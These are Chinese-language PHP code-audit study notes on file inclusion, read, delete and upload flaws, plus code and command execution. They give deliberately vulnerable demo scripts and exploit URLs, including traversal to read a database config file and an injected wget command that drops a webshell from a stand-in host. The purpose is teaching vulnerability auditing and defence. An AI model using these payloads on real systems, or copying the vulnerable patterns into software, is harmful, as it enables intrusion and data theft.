You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

20 KiB

1. 文件操作漏洞

包括文件包含、文件读取、文件删除、文件修改以及文件上传PHP的文件包含可以直接执行包含文件的代码包含的文件格式是不受限制的只要能正常执行即可。文件包含又分为本地文件包含和远程文件包含

1.1. 文件包含漏洞

文件包含函数: include()、include_once()、require()和 require_once()。它们之间的区别include()和include_once()在包含文件时即使遇到错误,后续的代码依然会继续执行; require()和require_once()则会直接报错退出程序。

1.1.1. 文件包含漏洞挖掘经验

文件包含漏洞大多出现在模块加载、模板加载以及cache调用的地方跟踪程序运行流程看模块加载时包含的文件是否可控直接搜索四个函数回溯看是否有可控变量

1.1.2. 本地文件包含LFI

<?php
	header("Content-Type: text/html; charset=utf-8");//使PHP显示中文
	echo "本地文件包含示例:" . "<br />";
	define("ROOT",dirname(__FILE__)."\\");//ROOT的作用及内容
	//echo ROOT . "<br />";
	//加载模块
	$mod = $_GET['mod'];
	echo ROOT . $mod . '.php';
	include(ROOT . $mod . '.php');
?>

2.php 文件

<?php
	phpinfo();
?>

运行结果:

image-20251021092027968

1.1.3. 远程文件包含RFI

可以包含远程文件的包含漏洞需要设置allow_url_include = On

<?php
	header("Content-Type: text/html; charset=utf-8");//使PHP显示中文
	include($_GET['url']);
?>

测试代码:

http://localhost/2020CodeAudit/C5/include/remoteinclude.php?url=http://localhost/2020CodeAudit/C5/include/2.txt

注意,虽然 url=http://localhost/2020CodeAudit/C5/include/2.txt 使用了 localhost ,好像还是本地。但是通过 http 协议其实是通过网络的2.txt 可以位于任何一台网络主机只要可以通过URL进行访问。

allow_url_include 是非常危险的选项建议关闭如果有特殊需要需要对url指向的文件进行校验解码等操作验证远程文件的合法性

1.1.4. PHP输入输出流远程包含

课本使用的FireFox的HackBar作为演示但该插件已经停止更新试了其他几个类似功能的插件均不能正常使用。最后使用Edge的 PostWoman 插件,可以达到同样的效果:

插件地址:

https://microsoftedge.microsoft.com/addons/detail/postwoman-http%E6%8E%A5%E5%8F%A3%E8%B0%83%E8%AF%95%E6%8F%92%E4%BB%B6/jopnhpooecpfgkolkacdmpehiiffcinf

打开插件使用如下URL地址

http://localhost/2020CodeAudit/C5/include/remoteinclude.php?url=php://input

构造POST请求在POST内容中加入

<?php phpinfo();?>

F12打开Edge的调试模式。

image-20251021101739615

  1. 选择请求类型 POST
  2. 输入URLhttp://localhost/2020CodeAudit/C5/include/remoteinclude.php?url=php://input
  3. 选择参数功能;
  4. 填入POST数据
  5. 点击发送;
  6. 切换到网络;
  7. 选择刚刚发送的请求;
  8. 预览结果。

1.1.5. 文件包含截断1

<?php
	header("Content-Type: text/html; charset=utf-8");//使PHP显示中文
	include $_GET['url'] . '.php';
	// include 2.txt%00.php;
?>

如果不能写入以.php为扩展名的文件需要截断。1、利用%00来截断开启GPC时不可用。PHP5.3之后的版本不可用。

请求URL

http://localhost/2020CodeAudit/C5/include/truncation.php?url=2.txt%00

原理:%00 表示的二进制是0PHP的处理器估计是C写的会认为 0x00 是字符串的结尾,因此就包含了文件 2.txt

1.1.6. 文件包含截断2

利用多个英文句号(.)和斜杠(/)(??)来截断这种方式不受GPC限制PHP5.3版本之后不可用。

<?php
	header("Content-Type: text/html; charset=utf-8");//使PHP显示中文
	$str = '';
	for($i=0;$i<=240;$i++){ //最小值为199.小于199不能截断
		$str .= '.';
		// $str .= './';
	}
	$str = '2.txt' . $str;
	echo $str . "<br />";
	include $str . '.php';//$str变量的值为2.txt................php
?>

1.1.7. 文件包含截断3

利用问号(?)来伪截断不受GPC和PHP版本限制只要能返回代码给包含函数就能执行在HTTP协议里面访问http://iphost/1.txt和访问http://iphost/1.txt?.php返回的结果是一样的

<?php
	header("Content-Type: text/html; charset=utf-8");//使PHP显示中文
	include $_GET['url'] . '.php';
?>

URL

http://localhost/2020CodeAudit/C5/include/truncation-ques.php?url=http://localhost/2020CodeAudit/C5/include/2.txt?

这里是远程包含,远程文件是 http://localhost/2020CodeAudit/C5/include/2.txt?.php

但是在URL中问号后面的是参数因此PHP在包含文件的时候会忽略后面的参数部分就只包含文件部分最终包含的文件是http://localhost/2020CodeAudit/C5/include/2.txt

1.1.8. Metinfo文件包含漏洞分析1

在 message/index.php 中,大约第十行。

if(!$metid)$metid='index';
if($metid!='index'){
require_once $metid.'.php';

直接从GET请求中获取模块名拼接到require_once函数中因此模块名可控导致可以远程包含文件。

利用方式1、allow_url_include=on远程写一个2.txt的文件利用问号来伪截断。

http://localhost/MetInfo5.0/message/index.php?metid=http://localhost/2020CodeAudit/C5/include/2.txt?

利用方式2、搭一个不解析PHP的Webserver访问的时候不加文件扩展名

http://localhost/MetInfo5.0/message/index.php?metid=http://localhost/2020CodeAudit/C5/include/2

注意为什么要是不解析php的服务器

1.2. 文件读取(下载)漏洞

部分程序在下载文件或者读取显示文件的时候读取文件的参数filename直接在请求里面传递后台程序获取到这个文件路径后直接读取返回问题在于这个参数是用户可控的可以直接传入想要读取的文件路径即可利用。

1.2.1. 文件读取(下载)漏洞挖掘经验

黑盒看功能点对应的文件再去读文件白盒搜索文件读取的函数file_get_contents()、highlight_file()、fopen()、 readfile() 、fread()、fgetss()、fgets()、parse_ini_file()、show_source()、file()文件包含函数include或者php://filter/也可以利用。

1.2.2. phpcms任意文件读取分析

漏洞文件在 /phpcms/modules/search/index.php 中的大约199行

	public function public_get_suggest_keyword() {
		$url = $_GET['url'].'&q='.$_GET['q'];
		//$trust_url = array('c8430fcf851e85818b546addf5bc4dd3');
		//$urm_md5 = md5($url);
		//if (!in_array($urm_md5, $trust_url)) exit;
		
		$res = @file_get_contents($url);
		if(CHARSET != 'gbk') {
			$res = iconv('gbk', CHARSET, $res);
		}
		echo $res;
	}

给出的源文件进行了加固,必须注解掉上述的三行。

请求URL

http://localhost/phpcms/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../phpsso_server/caches/configs/database.php

1.3. 文件上传漏洞

直接搜索move_uploaded_file()函数P95其中问题比较多的是黑名单限制文件格式以及未更改文件名的方式P96-99。

1.4. 文件删除漏洞

漏洞原理跟文件读取漏洞差不多黑盒直接测试一下看能不能删除某个文件白盒搜索带有变量参数的unlink(), 回溯变量unlink():删除文件。如果成功,该函数返回 TRUE。如果失败则返回 FALSE。

1.4.1. Metinfo任意文件删除分析

漏洞文件admin/system/database/recovery.php大约9行。首先判断请求的action参数的值是不是delete,如果是则进入文件删除功能。判断如果不是sql文件后就直接在databack目录删除提交的文件名

if($action=='delete'){
    if(is_array($filenames)) {
        foreach($filenames as $filename){
            if(fileext($filename)=='sql'){
                @unlink('../databack/'.$filename);
            }
        }
    }else{
        if(fileext($filenames)=='sql'){
			$filenamearray=explode(".sql",$filenames);
            @unlink('../../databack/'.$filenames);
			@unlink('../../databack/sql/metinfo_'.$filenamearray[0].".zip");
        }else{
		    @unlink('../../databack/'.$fileon.'/'.$filenames);
		}
    }
	metsave($rurls,'',$depth);
}

代码中 $filenames函数从GET中提交。

访问url

http://localhost/Metinfo5.0/admin/system/database/recovery.php?action=delete&filenames=../../1.zip

只要请求即可删除index.php文件。注相对路径自databack开始且必须登录系统。

1.5. 文件操作漏洞防范

1、对权限的管理要合理

2、用更安全的方法来替代直接以文件名为参数

3、避免目录跳转的问题

2. 代码执行漏洞

代码执行漏洞是指应用程序本身过滤不严用户可以通过请求将代码注入到应用中执行如果没有特殊过滤相当于Web后门eval()、 assert()、preg_replace()、call_user_func()、call_user_func_array()、array_map()等函数和PHP的动态函数($a($b))

2.1. 代码执行漏洞挖掘经验

  1. eval()和assert()函数导致的代码执行漏洞大多是因为载入缓存或模板以及对变量的处理不严格导致
  2. preg_replace()函数用来处理字符串,代码执行需要存在/e参数
  3. call_user_func()和call_user_func_array()函数的功能是调用函数,多用在框架里动态调用函数
  4. array_map() 函数的作用是调用函数并且除第一个参数外其他参数作为数组,通常会固定第一个参数,即调用的函数。

2.1.1. arry_map 函数

举例:http://localhost/2020CodeAudit/C5/5-2-1-arraymap.php动态函数的代码执行_GET(_POST[“xx”])经常被用来当作Web后门。

<?php
    header("Content-Type:text/html;charset=utf-8");//PHP显示中文
	echo "array_map()函数举例:"."</br>";
	function myfunction($v)
	{
		return($v*$v);
	}
	$a=array(1,2,3,4,5);
	print_r(array_map("myfunction",$a));
?>

输出结果:

array_map()函数举例:
Array ( [0] => 1 [1] => 4 [2] => 9 [3] => 16 [4] => 25 )

2.1.2. evalassert函数:

注意php配置

assert.active = 1       ; 启用断言1启用0禁用
assert.warning = 1      ; 断言失败时触发警告PHP 8+
assert.bail = 0         ; 失败时是否终止脚本0不终止
assert.callback = null  ; 失败时调用的全局回调函数
assert.quiet_eval = 0   ; 是否在安全模式下启用断言

可以通过phpinfo() 函数检查配置。

这两个函数用来执行动态代码参数直接就是PHP代码。

<?php
    header("Content-Type:text/html;charset=utf-8");//PHP显示中文
	echo "eval()和assert()函数举例:"."</br>";
	$a = 'aaa';
	$b = 'bbb';
	$c = 'ccc';
	eval('$a=$b;');//注意分号位置
	assert('$b=$c');//注意分号位置
	var_dump($a);
	echo "<br />";
	var_dump($b);
?>

访问URL

http://localhost/2020CodeAudit/C5/5-2-1-1-eval.php

结果:

eval()和assert()函数举例:
string(3) "bbb"
string(3) "ccc"

2.1.3. preg_replace 函数

对字符串进行正则处理mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject)捜索$subject中匹配$pattern的部分以$replacement进行替换而当$pattern处存在/e修饰符时$replacement的值会被当成PHP代码来执行。

preg_replace("/\[(.*)\]/e",'\\1',$_GET['str']);
  • 第1个参数从$_GET['str']变量中搜索中括号[]中间的内容作为第一组结果;
  • / /:正则表达式开始和结束;
  •  :匹配 [              
  • ( ):标记一个子表达式的开始和结束位置
  • . :匹配除换行符 \n 之外的任何单字符
  • *:匹配前面的子表达式零次或多次
  • 第2个参数代表这里用第一组结果填充

http://localhost/2020CodeAudit/C5/5-2-1-1-preg.php?str=[phpinfo()]

<?php
    header("Content-Type:text/html;charset=utf-8");//PHP显示中文
	echo "preg_replace()函数举例:"."</br>";
	preg_replace("/\[(.*)\]/e",'\\1',$_GET['str']);
?>

结果显示为phpinfo()的执行结果。

2.1.4. 调用函数过滤不严

call_user_func()和array_map()等数十个函数(P105)有调用其他函数的功能,其中的一个参数作为要调用的函数名,如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想执行的代码,也就是存在代码执行漏洞。

call_user_func()函数

  • 调用函数并且第二个参数作为要调用的函数的参数
  • mixed call_user_func (callable callback [, mixed $parameter [, mixed ...]])
  • 第一个参数为回调函数,后面的参数为回调函数的参数

http://localhost/2020CodeAudit/C5/5-2-1-1-call.php?a=assert

<?php
    header("Content-Type:text/html;charset=utf-8");//PHP显示中文
	echo "call_user_func()函数举例:"."</br>";
	$b = "phpinfo()";
	call_user_func($_GET['a'],$b);//
	//a=assert ,如果改成$_GET['A']
?>

2.1.5. 动态函数执行

由于PHP的特性原因PHP的函数可以直接由字符串拼接。更简单更方便地调用函数一旦过滤不严格就会造成代码执行漏洞。PHP动态函数写法为“变量(参数)”。

http://localhost/2020CodeAudit/C5/5-2-1-2-dynamic.php?a=assert&b=phpinfo()

<?php
    header("Content-Type:text/html;charset=utf-8");//PHP显示中文
	echo "动态函数执行举例:"."</br>";
	$_GET['a']($_GET['b']);
?>

2.1.6. 代码执行案例分析

http://localhost/2020CodeAudit/C5/5-2-2-preg.php?a=b|${@phpinfo()}

<?php
    header("Content-Type:text/html;charset=utf-8");//PHP显示中文
	//http://localhost/2020CodeAudit/C5/5-2-2-preg.php?a=b|${@phpinfo()}
	
	echo "动态函数执行防范举例:"."</br>";
	
	// echo ${@phpinfo()};
	// $b=@phpinfo();
	
	preg_replace('/(\w+)\|(.*)/ie','$\\1 = "\\2";',$_GET['a']);
	
	// preg_replace('/(\w+)\|(\d+)/ie','$\\1 = "\\2";',$_GET['a']);
	
	//preg_replace('/(\w+)\|(.*)/ie','$\\1 = \'\\2\';',$_GET['a']);//
?>

preg_replace('/(\w+)|(.*)/ie' , '\\1 = "\\2";' ,_GET['a']);

修饰符i不区分大小写

修饰符e执行$\1 = "\2";

  • \w匹配字母、数字、下划线
  • +:匹配前面的子表达式一次或多次
  • \\1包含后向引用正则匹配出来的第1个参数 b
  • \\2包含后向引用正则匹配出来的第2个参数${@phpinfo()}
  • \d匹配数字

3. 命令执行漏洞

  • 代码执行漏洞指的是可以执行PHP脚本代码
  • 命令执行漏洞指的是可以执行系统或者应用指令(如CMD命令或者bash命令)的漏洞
  • 可以执行命令的函数有system()、exec()、shell_ exec()、passthru()、pcntl_exec()、popen()、proc_open()等七个函数,另外反引号(`) 也可以执行命令

3.1. 命令执行漏洞挖掘经验

  • 命令执行漏洞最多出现在包含环境包的应用里
  • 直接在代码里搜这七个函数
  • 像discuz等应用也有调用外部程序的功能如数据库导出功能曾经就出现过命令执行漏洞

3.1.1. 命令执行函数

system()、exec()、shell_ exec()、passthru()、反引号(`)是可以直接传入命令并且函数会返回执行结果。

http://localhost/2020CodeAudit/C5/5-3-1-1-system.php

<?php
    header("Content-Type:text/html;charset=utf-8");//PHP显示中文
	echo "system()函数举例whoami的执行结果为"."</br>";
	system('whoami');	
?>

命令执行函数

popen()、proc_open()函数不会直接返回执行结果,而是返回一个文件指针,但命令是已经执行了。

http://localhost/2020CodeAudit/C5/5-3-1-1-popen.php

<?php
    header("Content-Type:text/html;charset=utf-8");//PHP显示中文
	echo "popen()函数举例,输出重定向:"."</br>";
	echo 'popen(' . 'whoami >> 2.txt' .','. '\'r\')';
	popen('whoami >> 2.txt','r');	
?>

反引号命令执行

实际上反引号(`) 执行命令是调用的shell_exec()函数

http://localhost/2020CodeAudit/C5/5-3-1-2-echo.php

<?php
    header("Content-Type:text/html;charset=utf-8");//PHP显示中文
	echo "``反引号执行举例:"."</br>";
	echo `whoami`;
	
?>

3.2. 亿邮命令执行漏洞分析

  • $uid和$domain变量都是从GET请求中获取的最终通过反引号(`)来 执行,所以我们可以直接注入命令
  • ?uid=|wget+http://www.x.com/1. txt+-O+/var/ eyou/apache/htdocs/swfupload/a.php&domain=
  • wget从指定的URL下载文件
  • -O指定文件名
  • +URL中表示空格

3.3. 漏洞防范

  • 使用PHP自带的命令防注入函数
  • 对命令执行函数的参数做白名单限制

3.3.1. escapeshellcmd()

过滤整条命令输入string类型的参数为要过滤的命令函数返回过滤后的string类型的命令。

http://localhost/2020CodeAudit/C5/5-3-2-1-escapeshellcmd.php?cmd=whoami('")^$ipconfig

<?php
    header("Content-Type:text/html;charset=utf-8");//PHP显示中文
	echo "escapeshellcmd()函数举例:"."</br>";
	echo (escapeshellcmd($_GET['cmd']));	
?>

反斜线()会在以下字符之前插入: & # ; ` | * ? ~ < > ^ ( ) ]{ } $ \ , \x0A 和 \xFF。 ' 和 " 仅在不配对的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

运行结果

escapeshellcmd()函数举例:
whoami ipconfig

3.3.2. escapeshellarg()

功能:过滤参数,将参数限制在一对双引号里,确保参数为一个字符串把双引号替换为空格。

http://localhost/2020CodeAudit/C5/5-3-2-1-escapeshellarg.php

<?php
    header("Content-Type:text/html;charset=utf-8");//PHP显示中文
	echo "escapeshellarg()函数举例:"."</br>";
	echo 'ls ' . escapeshellarg('a"');	
?>

3.3.3. 参数白名单

在代码中或者配置文件中限定某些参数,在使用的时候匹配一下这个参数在不在这个白名单列表中,如果不在则直接显示错误提示即可。